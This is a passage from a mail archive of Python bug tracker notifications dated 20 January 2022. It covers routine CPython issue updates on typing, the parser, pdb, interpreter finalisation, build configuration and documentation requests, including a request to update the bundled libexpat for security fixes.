06:36:54 2022 From: report at bugs.python.org (thomgree) Date: Thu, 20 Jan 2022 11:36:54 +0000 Subject: [issue46400] Please update bundled libexpat to 2.4.3 with security fixes In-Reply-To: <1642350760.98.0.31451148779.issue46400@roundup.psfhosted.org> Message-ID: <1642678614.07.0.540030905165.issue46400@roundup.psfhosted.org> Change by thomgree : ---------- nosy: +thomgree _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 06:46:52 2022 From: report at bugs.python.org (Mark Shannon) Date: Thu, 20 Jan 2022 11:46:52 +0000 Subject: [issue46409] Add a new bytecode instruction to create generators In-Reply-To: <1642420475.96.0.0360336928035.issue46409@roundup.psfhosted.org> Message-ID: <1642679212.44.0.950169930909.issue46409@roundup.psfhosted.org> Mark Shannon added the comment: New changeset b04dfbbe4bd7071d46c8688c2263726ea31d33cd by Mark Shannon in branch 'main': bpo-46409: Make generators in bytecode (GH-30633) https://github.com/python/cpython/commit/b04dfbbe4bd7071d46c8688c2263726ea31d33cd ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 06:49:42 2022 From: report at bugs.python.org (Mark Shannon) Date: Thu, 20 Jan 2022 11:49:42 +0000 Subject: [issue46409] Add a new bytecode instruction to create generators In-Reply-To: <1642420475.96.0.0360336928035.issue46409@roundup.psfhosted.org> Message-ID: <1642679382.71.0.857000963014.issue46409@roundup.psfhosted.org> Change by Mark Shannon : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 06:50:36 2022 From: report at bugs.python.org (Mark Shannon) Date: Thu, 20 Jan 2022 11:50:36 +0000 Subject: [issue40116] Regression in memory use of shared key dictionaries for "compact dicts" In-Reply-To: <1585581236.94.0.571794171265.issue40116@roundup.psfhosted.org> Message-ID: <1642679436.64.0.779063672751.issue40116@roundup.psfhosted.org> Change by Mark Shannon : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 06:51:02 2022 From: report at bugs.python.org (Mark Shannon) Date: Thu, 20 Jan 2022 11:51:02 +0000 Subject: [issue45947] Place dict (and values) pointers at a fixed (negative) offset from the base of the object. In-Reply-To: <1638365448.99.0.213832334161.issue45947@roundup.psfhosted.org> Message-ID: <1642679462.06.0.323545393855.issue45947@roundup.psfhosted.org> Change by Mark Shannon : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 06:59:04 2022 From: report at bugs.python.org (Vinay Sajip) Date: Thu, 20 Jan 2022 11:59:04 +0000 Subject: [issue41906] logging.config.dictConfig does not work with callable filters In-Reply-To: <1601599406.74.0.279190575587.issue41906@roundup.psfhosted.org> Message-ID: <1642679944.48.0.783852562968.issue41906@roundup.psfhosted.org> Vinay Sajip added the comment: > If you have any preference about the implementation or any pointer Nothing particular, just try to fit in with the existing code conventions even where they don't follow modern idioms (e.g. a lot of the code in this package predates PEP 8 and new styles of string formatting). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 07:16:01 2022 From: report at bugs.python.org (Akuli) Date: Thu, 20 Jan 2022 12:16:01 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642680961.79.0.0520762039231.issue46399@roundup.psfhosted.org> Akuli added the comment: > I also think that keeping a status quo (ignoring the mapping attribute in typing) is the lesser evil. Can you clarify this? There are several things that typing could do, and I don't know which option you are referring to. I listed most of them below, and I'd like to know which exactly of them "is the lesser evil". If we literally ignore the attribute, any usage of `.mapping` will be an error, which basically makes the whole `.mapping` feature useless for statically typed code. It also wouldn't appear in IDE autocompletions. If we add it to `KeysView` and `ValuesView`, library authors will end up using `.mapping` with arguments annotated as `Mapping` or `MutableMapping`, not realizing it is purely a dict thing, not required from an arbitrary mapping object. If we keep `.mapping` in dict but not anywhere else, as described already, it becomes difficult to override .keys() and .values() in a dict subclass. You can't just return a KeysView or a ValuesView. If that was allowed, how should people annotate code that uses `.mapping`? You can't annotate with `dict`, because that also allows subclasses of dict, which might not have a `.mapping` attribute. Yet another option would be to expose `dict_keys` and `dict_values` somewhere where they don't actually exist at runtime. This leads to code like this: from typing import Any, TYPE_CHECKING if TYPE_CHECKING: # A lie for type checkers to work. from something_that_doesnt_exist_at_runtime import dict_keys, dict_values else: # Runtime doesn't check type annotations anyway. dict_keys = Any dict_values = Any While this works, it isn't very pretty. ---------- nosy: +Akuli _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 07:20:39 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 20 Jan 2022 12:20:39 +0000 Subject: [issue46441] Caret points to wrong line on 'return yield 42' in REPL In-Reply-To: <1642633676.14.0.383568464091.issue46441@roundup.psfhosted.org> Message-ID: <1642681239.38.0.804304775619.issue46441@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- keywords: +patch pull_requests: +28909 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30718 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 07:42:10 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 20 Jan 2022 12:42:10 +0000 Subject: [issue24905] Allow incremental I/O to blobs in sqlite3 In-Reply-To: <1440144321.97.0.0781853247945.issue24905@psf.upfronthosting.co.za> Message-ID: <1642682530.49.0.634238536535.issue24905@roundup.psfhosted.org> Erlend E. Aasland added the comment: If you are ok with the proposed API in GH-30680, I'll mark it as ready for review. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 07:58:22 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 20 Jan 2022 12:58:22 +0000 Subject: [issue45767] Fix types for dev_t processing in posix module In-Reply-To: <1636477989.19.0.839413468229.issue45767@roundup.psfhosted.org> Message-ID: <1642683502.31.0.446992357427.issue45767@roundup.psfhosted.org> Serhiy Storchaka added the comment: Is device number -1 used in any context (for example as "unknown device number")? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 08:05:27 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 20 Jan 2022 13:05:27 +0000 Subject: [issue46339] PEG parser segfault from ast.literal_eval In-Reply-To: <1641869771.82.0.588591691802.issue46339@roundup.psfhosted.org> Message-ID: <1642683927.7.0.938326116712.issue46339@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 1fb1f5d8bd084c20f0a5fde547b563c08d103f09 by Miss Islington (bot) in branch '3.10': [3.10] bpo-46339: Fix crash in the parser when computing error text for multi-line f-strings (GH-30529) (GH-30542) https://github.com/python/cpython/commit/1fb1f5d8bd084c20f0a5fde547b563c08d103f09 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 08:07:13 2022 From: report at bugs.python.org (Steve Dower) Date: Thu, 20 Jan 2022 13:07:13 +0000 Subject: [issue46434] pdb help fails with AttributeError when using Windows embeddable package In-Reply-To: <1642610508.79.0.170638076327.issue46434@roundup.psfhosted.org> Message-ID: <1642684033.71.0.460384592185.issue46434@roundup.psfhosted.org> Steve Dower added the comment: See https://github.com/python/cpython/blob/b04dfbbe4bd7071d46c8688c2263726ea31d33cd/PC/layout/main.py#L256-L289 Basically, the .pyc files in the embeddable distro have been compiled with optimize=2, which is the equivalent of -OO. So yes, docstrings (and asserts) are expected to have been removed. It shouldn't be removing docstrings from other modules that you provide yourself. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 08:09:49 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 20 Jan 2022 13:09:49 +0000 Subject: [issue46339] PEG parser segfault from ast.literal_eval In-Reply-To: <1641869771.82.0.588591691802.issue46339@roundup.psfhosted.org> Message-ID: <1642684189.07.0.637596600905.issue46339@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 08:18:56 2022 From: report at bugs.python.org (Petr Viktorin) Date: Thu, 20 Jan 2022 13:18:56 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642684736.63.0.0928249362896.issue46417@roundup.psfhosted.org> Petr Viktorin added the comment: > Sharing objects between interpreters is bad That's your opinion, I don't necessarily share it. > and is causing complex bugs. But converting static things (types, small ints) to heap is also causing bugs :( ---- Anyway, for this issue: is there a way to test if the types are correctly reinitialized if there are multiple finalize/init cycles? I worry about introducing more unexpected issues here. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 08:31:06 2022 From: report at bugs.python.org (Kumar Aditya) Date: Thu, 20 Jan 2022 13:31:06 +0000 Subject: [issue46400] Please update bundled libexpat to 2.4.3 with security fixes In-Reply-To: <1642350760.98.0.31451148779.issue46400@roundup.psfhosted.org> Message-ID: <1642685466.15.0.0977077836337.issue46400@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +ned.deily, paul.moore, ronaldoussoren, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 08:39:05 2022 From: report at bugs.python.org (Dong-hee Na) Date: Thu, 20 Jan 2022 13:39:05 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642685945.29.0.419185678858.issue46417@roundup.psfhosted.org> Change by Dong-hee Na : ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 09:15:56 2022 From: report at bugs.python.org (sparrowt) Date: Thu, 20 Jan 2022 14:15:56 +0000 Subject: [issue46434] pdb help fails with AttributeError when using Windows embeddable package In-Reply-To: <1642610508.79.0.170638076327.issue46434@roundup.psfhosted.org> Message-ID: <1642688156.71.0.654720712765.issue46434@roundup.psfhosted.org> sparrowt added the comment: Gottit thanks for explaining - so the existing check in `do_help` didn't catch this case because https://docs.python.org/3/library/sys.html#sys.flags only reflects command line flags, rather than whether or not it was actually optimised. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 09:20:11 2022 From: report at bugs.python.org (Steve Dower) Date: Thu, 20 Jan 2022 14:20:11 +0000 Subject: [issue46434] pdb help fails with AttributeError when using Windows embeddable package In-Reply-To: <1642688156.71.0.654720712765.issue46434@roundup.psfhosted.org> Message-ID: <58f58b28-4bdc-b872-351f-a232798394c5@python.org> Steve Dower added the comment: > the existing check in `do_help` didn't catch this case because https://docs.python.org/3/library/sys.html#sys.flags only reflects command line flags, rather than whether or not it was actually optimised. Precisely. Your check is much more appropriate for what the actual issue is going to be, though keeping the existing check there means we can provide a more specific error message when we *know* that the user deliberately chose that behaviour. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 10:34:42 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 20 Jan 2022 15:34:42 +0000 Subject: [issue46441] Caret points to wrong line on 'return yield 42' in REPL In-Reply-To: <1642633676.14.0.383568464091.issue46441@roundup.psfhosted.org> Message-ID: <1642692882.89.0.986298287368.issue46441@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Thanks for the bug report, Guido! Everything should be ok now ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 10:41:17 2022 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 20 Jan 2022 15:41:17 +0000 Subject: [issue46442] testExceptionCleanupNames doesn't test anything? In-Reply-To: <1642638785.66.0.497652799154.issue46442@roundup.psfhosted.org> Message-ID: <1642693277.9.0.424293461059.issue46442@roundup.psfhosted.org> Eric V. Smith added the comment: I don't know for sure, but maybe it's trying to test "del" interacting with the fact that the "as e" part doesn't escape the "except" clause, unlike normal assignments: >>> try: ... raise Exception ... except Exception as e: ... print('exception raised') ... foo = 1 ... exception raised >>> foo 1 >>> e Traceback (most recent call last): File "", line 1, in NameError: name 'e' is not defined ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 10:52:23 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 20 Jan 2022 15:52:23 +0000 Subject: [issue46445] Multiple inheritance of TypedDict is not covered in `test_typing` Message-ID: <1642693943.8.0.781242161196.issue46445@roundup.psfhosted.org> New submission from Nikita Sobolev : Why is this important? 1. Because multiple inheritance of `TypedDict` might not handle `__required_keys__`, or `__optional_keys__`, or `__annotations__` correctly, this is especially important because some classes might be defined as `total=False` and some as `total=True` 2. Some classes might be defined inline as `T = TypedDict('T', ...)` 3. Moreover, we have a special error we have to check: all superclasses must be `TypedDict`s as well (coverage shows that this error is not covered) https://github.com/python/cpython/blob/650720a0cfa1673938e6d1bad53b6c37c9edb47d/Lib/typing.py#L2328-L2331 I will send a PR for this. ---------- components: Tests messages: 411030 nosy: sobolevn priority: normal severity: normal status: open title: Multiple inheritance of TypedDict is not covered in `test_typing` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 10:52:36 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 20 Jan 2022 15:52:36 +0000 Subject: [issue46445] Multiple inheritance of TypedDict is not covered in `test_typing` In-Reply-To: <1642693943.8.0.781242161196.issue46445@roundup.psfhosted.org> Message-ID: <1642693956.7.0.621724303845.issue46445@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- nosy: +gvanrossum, kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 10:53:54 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 20 Jan 2022 15:53:54 +0000 Subject: [issue46445] Multiple inheritance of TypedDict is not covered in `test_typing` In-Reply-To: <1642693943.8.0.781242161196.issue46445@roundup.psfhosted.org> Message-ID: <1642694034.52.0.117447511809.issue46445@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28910 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30719 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 11:02:43 2022 From: report at bugs.python.org (Steve Dower) Date: Thu, 20 Jan 2022 16:02:43 +0000 Subject: [issue46427] Correct MSBuild's configuration for _freeze_module.exe In-Reply-To: <1642539207.01.0.739472592427.issue46427@roundup.psfhosted.org> Message-ID: <1642694563.8.0.319930582099.issue46427@roundup.psfhosted.org> Steve Dower added the comment: This configuration is intentional. When cross-compiling, tools that are executed as part of the build need to be built for the tool platform, not the target platform. ---------- nosy: +steve.dower resolution: -> not a bug stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 11:03:01 2022 From: report at bugs.python.org (Batuhan Taskaya) Date: Thu, 20 Jan 2022 16:03:01 +0000 Subject: [issue46441] Caret points to wrong line on 'return yield 42' in REPL In-Reply-To: <1642633676.14.0.383568464091.issue46441@roundup.psfhosted.org> Message-ID: <1642694581.97.0.925566888439.issue46441@roundup.psfhosted.org> Change by Batuhan Taskaya : ---------- nosy: +BTaskaya nosy_count: 3.0 -> 4.0 pull_requests: +28911 pull_request: https://github.com/python/cpython/pull/30720 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 11:08:38 2022 From: report at bugs.python.org (Kurt Mosiejczuk) Date: Thu, 20 Jan 2022 16:08:38 +0000 Subject: [issue46446] OpenBSD not MULTIARCH Message-ID: <1642694918.72.0.571135921903.issue46446@roundup.psfhosted.org> New submission from Kurt Mosiejczuk : Just like FreeBSD, MULTIARCH should not be passed to OpenBSD. Just add another line like done for FreeBSD ---------- components: Build messages: 411032 nosy: kmosiejczuk priority: normal severity: normal status: open title: OpenBSD not MULTIARCH type: compile error versions: Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 11:10:11 2022 From: report at bugs.python.org (Kurt Mosiejczuk) Date: Thu, 20 Jan 2022 16:10:11 +0000 Subject: [issue46446] OpenBSD not MULTIARCH In-Reply-To: <1642694918.72.0.571135921903.issue46446@roundup.psfhosted.org> Message-ID: <1642695011.09.0.983581637059.issue46446@roundup.psfhosted.org> Change by Kurt Mosiejczuk : ---------- keywords: +patch pull_requests: +28912 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30721 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 11:13:01 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 20 Jan 2022 16:13:01 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642695181.89.0.0623758589914.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: If tomorrow static types are shared between sub-interpreters, it doesn't solve this problem: we still need to release memory allocated by Py_Initialize() in Py_Finalize() when Python is embedded. This issue is a sub-set of the big bpo-1635741 which explains the rationale. Again, this issue is not about sub-interpreters. > Anyway, for this issue: is there a way to test if the types are correctly reinitialized if there are multiple finalize/init cycles? I worry about introducing more unexpected issues here. I wasn't sure how to test it. But well, Dong-hee and you asked for tests, so I added tests for my PR ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 11:35:32 2022 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 20 Jan 2022 16:35:32 +0000 Subject: [issue46441] Caret points to wrong line on 'return yield 42' in REPL In-Reply-To: <1642633676.14.0.383568464091.issue46441@roundup.psfhosted.org> Message-ID: <1642696531.99.0.394865901189.issue46441@roundup.psfhosted.org> Guido van Rossum added the comment: Thanks for the quick fix! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 11:39:18 2022 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 20 Jan 2022 16:39:18 +0000 Subject: [issue46429] Merge all deepfrozen files into one In-Reply-To: <1642566696.59.0.965062027476.issue46429@roundup.psfhosted.org> Message-ID: <1642696758.47.0.444296511589.issue46429@roundup.psfhosted.org> Guido van Rossum added the comment: New changeset ef3ef6fa43d5cca072eed2a66064e818de583be7 by Kumar Aditya in branch 'main': bpo-46429: Merge all deepfrozen files into one (GH-30572) https://github.com/python/cpython/commit/ef3ef6fa43d5cca072eed2a66064e818de583be7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 11:49:06 2022 From: report at bugs.python.org (Dmitry Marakasov) Date: Thu, 20 Jan 2022 16:49:06 +0000 Subject: [issue45767] Fix types for dev_t processing in posix module In-Reply-To: <1636477989.19.0.839413468229.issue45767@roundup.psfhosted.org> Message-ID: <1642697346.06.0.221591332185.issue45767@roundup.psfhosted.org> Dmitry Marakasov added the comment: > Is device number -1 used in any context (for example as "unknown device number")? Yes, there's NODEV macro in both Linux and FreeBSD which expands to ((dev_t)-1). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 12:00:18 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 20 Jan 2022 17:00:18 +0000 Subject: [issue23325] Turn SIG_DFL and SIG_IGN into functions In-Reply-To: <1422304710.21.0.213579052731.issue23325@psf.upfronthosting.co.za> Message-ID: <1642698018.74.0.312857930256.issue23325@roundup.psfhosted.org> Christian Heimes added the comment: Serhiy, could you please rebase your PR to tip of main branch? I'd like to try it out. ---------- nosy: +christian.heimes versions: +Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 12:07:22 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 20 Jan 2022 17:07:22 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1642698442.84.0.380328651969.issue40280@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +28913 pull_request: https://github.com/python/cpython/pull/30722 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 12:18:08 2022 From: report at bugs.python.org (Mark Shannon) Date: Thu, 20 Jan 2022 17:18:08 +0000 Subject: [issue43683] Handle generator (and coroutine) state in the bytecode. In-Reply-To: <1617209103.34.0.926095267338.issue43683@roundup.psfhosted.org> Message-ID: <1642699088.78.0.980350830834.issue43683@roundup.psfhosted.org> Change by Mark Shannon : ---------- pull_requests: +28914 pull_request: https://github.com/python/cpython/pull/30723 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 12:22:41 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Thu, 20 Jan 2022 17:22:41 +0000 Subject: [issue1284670] Allow to restrict ModuleFinder to get "direct" dependencies Message-ID: <1642699361.17.0.622862398231.issue1284670@roundup.psfhosted.org> Jelle Zijlstra added the comment: Mike's fix unfortunately didn't work out. What are the rules about closing old enhancement requests? modulefinder is an old and rarely used package, and I feel like the use case is better served by a PyPI package. ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 12:38:08 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 20 Jan 2022 17:38:08 +0000 Subject: [issue46442] testExceptionCleanupNames doesn't test anything? In-Reply-To: <1642638785.66.0.497652799154.issue46442@roundup.psfhosted.org> Message-ID: <1642700288.67.0.494424629787.issue46442@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- nosy: +sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 12:56:40 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 20 Jan 2022 17:56:40 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1642701400.63.0.77863703013.issue40280@roundup.psfhosted.org> Christian Heimes added the comment: New changeset c02e860ee79f29905be6fca997c96bb1a404bb32 by Christian Heimes in branch 'main': bpo-40280: Misc fixes for wasm32-emscripten (GH-30722) https://github.com/python/cpython/commit/c02e860ee79f29905be6fca997c96bb1a404bb32 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 12:59:32 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Thu, 20 Jan 2022 17:59:32 +0000 Subject: [issue46442] testExceptionCleanupNames doesn't test anything? In-Reply-To: <1642638785.66.0.497652799154.issue46442@roundup.psfhosted.org> Message-ID: <1642701572.4.0.0341045191897.issue46442@roundup.psfhosted.org> Jelle Zijlstra added the comment: Perhaps it's testing that the implicit `del` doesn't blow up if the variable is already deleted. ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 13:24:16 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 20 Jan 2022 18:24:16 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642703056.72.0.601915463544.issue46425@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- pull_requests: +28915 pull_request: https://github.com/python/cpython/pull/30725 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 13:29:21 2022 From: report at bugs.python.org (Wren Turkal) Date: Thu, 20 Jan 2022 18:29:21 +0000 Subject: [issue31603] Please add argument to override stdin/out/err in the input builtin In-Reply-To: <1642443826.21.0.763159822764.issue31603@roundup.psfhosted.org> Message-ID: Wren Turkal added the comment: I'm not sure that I ever got a definitive issue, but I didn't have time to push it forward. I still think the idea has merit. I'd love to see it implemented, but I don't have the time to pursue it right now. Thanks, wt On Mon, Jan 17, 2022 at 10:23 AM Irit Katriel wrote: > > Irit Katriel added the comment: > > See also Issue1927. > > ---------- > nosy: +iritkatriel > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 14:20:08 2022 From: report at bugs.python.org (Zachary Ware) Date: Thu, 20 Jan 2022 19:20:08 +0000 Subject: [issue46316] Optimize pathlib.Path.iterdir() In-Reply-To: <1641739972.06.0.905867397402.issue46316@roundup.psfhosted.org> Message-ID: <1642706408.14.0.4410639224.issue46316@roundup.psfhosted.org> Zachary Ware added the comment: New changeset a1c88414926610a3527398a478c3e63c531dc742 by Barney Gale in branch 'main': bpo-46316: optimize `pathlib.Path.iterdir()` (GH-30501) https://github.com/python/cpython/commit/a1c88414926610a3527398a478c3e63c531dc742 ---------- nosy: +zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 14:20:39 2022 From: report at bugs.python.org (Zachary Ware) Date: Thu, 20 Jan 2022 19:20:39 +0000 Subject: [issue46316] Optimize pathlib.Path.iterdir() In-Reply-To: <1641739972.06.0.905867397402.issue46316@roundup.psfhosted.org> Message-ID: <1642706439.38.0.0381704116869.issue46316@roundup.psfhosted.org> Change by Zachary Ware : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 14:56:18 2022 From: report at bugs.python.org (Tal Einat) Date: Thu, 20 Jan 2022 19:56:18 +0000 Subject: [issue43654] IDLE: Fix tab completion after settings and some keys In-Reply-To: <1617007235.89.0.0831829954955.issue43654@roundup.psfhosted.org> Message-ID: <1642708578.0.0.0367075611423.issue43654@roundup.psfhosted.org> Tal Einat added the comment: Terry, for all intents and purposes you're the one in charge of IDLE now. I suggest deciding whether to change all three bindings as in the current PR or only the one for completions. Just le me know and if needed I'll make a new PR. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 15:07:46 2022 From: report at bugs.python.org (Batuhan Taskaya) Date: Thu, 20 Jan 2022 20:07:46 +0000 Subject: [issue46441] Caret points to wrong line on 'return yield 42' in REPL In-Reply-To: <1642633676.14.0.383568464091.issue46441@roundup.psfhosted.org> Message-ID: <1642709266.74.0.284248472433.issue46441@roundup.psfhosted.org> Batuhan Taskaya added the comment: New changeset 30fb6d073d9ca00dff8e4155c523cdfa63abab6b by Batuhan Taskaya in branch 'main': bpo-46441: Add a boilerplate to test syntax errors in interactive mode (GH-30720) https://github.com/python/cpython/commit/30fb6d073d9ca00dff8e4155c523cdfa63abab6b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 15:43:16 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 20 Jan 2022 20:43:16 +0000 Subject: [issue23325] Turn SIG_DFL and SIG_IGN into functions In-Reply-To: <1422304710.21.0.213579052731.issue23325@psf.upfronthosting.co.za> Message-ID: <1642711396.11.0.505258082054.issue23325@roundup.psfhosted.org> Serhiy Storchaka added the comment: It may take a time, because the module initialization code has been completely rewritten. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 15:45:48 2022 From: report at bugs.python.org (jokot3) Date: Thu, 20 Jan 2022 20:45:48 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642711548.5.0.525364330671.issue46070@roundup.psfhosted.org> Change by jokot3 : ---------- nosy: +jokot3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 16:02:46 2022 From: report at bugs.python.org (Stefano Rivera) Date: Thu, 20 Jan 2022 21:02:46 +0000 Subject: [issue45413] Add install scheme for virtual environments In-Reply-To: <1633715402.49.0.434363843275.issue45413@roundup.psfhosted.org> Message-ID: <1642712566.59.0.611703094252.issue45413@roundup.psfhosted.org> Change by Stefano Rivera : ---------- nosy: +stefanor _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 16:16:16 2022 From: report at bugs.python.org (Jean Carlo Machado) Date: Thu, 20 Jan 2022 21:16:16 +0000 Subject: [issue46447] datetime.isoformat() documentation does not point to the risk of using it with naive datetime objects Message-ID: <1642713376.42.0.598006047552.issue46447@roundup.psfhosted.org> New submission from Jean Carlo Machado : datetime.utcnow() already present a warning box describing the risk of using it without specifying timezone information. However, one might still have the same problem and never encounter this warning information by doing datetime.now().isoformat(). Or just by not reading the docs of datetime.utcnow, just the datetime.isoformat docs. By adding a similar warning to the datetime.isoformat() we could make the risk clearer and reduce the likelihood of errors. Is when calling isoformat() where people get confident to be producing ISO's. I just recently had an incident in my company where we produced naive datetimes using datetime.now() and serialized them using isoformat() while expecting them to be a transferrable ISO format. Nevertheless, the other system read the dates without Z in the end and interpreted it as local time. If you agree that this suggestion could be a good improvement to the docs, I can send a patch in the next 2 weeks. ---------- assignee: docs at python components: Documentation messages: 411046 nosy: docs at python, jeanCarloMachado priority: normal severity: normal status: open title: datetime.isoformat() documentation does not point to the risk of using it with naive datetime objects type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 16:48:01 2022 From: report at bugs.python.org (Humbdrag) Date: Thu, 20 Jan 2022 21:48:01 +0000 Subject: [issue26792] docstrings of runpy.run_{module,path} are rather sparse In-Reply-To: <1460944502.67.0.955110104065.issue26792@psf.upfronthosting.co.za> Message-ID: <1642715281.02.0.903730845592.issue26792@roundup.psfhosted.org> Change by Humbdrag : ---------- nosy: +humbdrag nosy_count: 3.0 -> 4.0 pull_requests: +28916 pull_request: https://github.com/python/cpython/pull/30729 _______________________________________ 